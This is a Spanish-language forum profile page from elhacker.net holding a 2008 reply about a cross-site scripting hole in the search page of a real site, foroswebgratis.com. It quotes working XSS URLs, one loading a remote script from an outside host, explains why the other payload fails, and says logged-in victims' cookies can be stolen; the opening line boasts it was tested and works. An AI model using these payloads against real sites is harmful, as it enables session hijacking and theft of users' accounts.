Comprobado con mi cuenta y funciona a la perfección xDDD
- Bienvenido a Test Foro de elhacker.net SMF 2.1.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Páginas1
#2
Nivel Web / Re: [XSS] foroswebgratis
8 Abril 2008, 18:00 PMCitar1) porque esto SI se ejecuta:
http://www.foroswebgratis.com/home-buscador-run.php?buscar=<script%20src=http://ha.ckers.org/xss.js></script>
y esto NO se ejecuta:
http://www.foroswebgratis.com/home-buscador-run.php?buscar=<script>alert("XSS")</script>
Seguramente por las comillas dobles
Citar2) cuando se roban cookies... son cookies de la pagina vulnerable o no?
Depende de si el usuario que ejecuta el XSS está logueado o no, si lo está entonces seguramente si que robes cookies válidas
Páginas1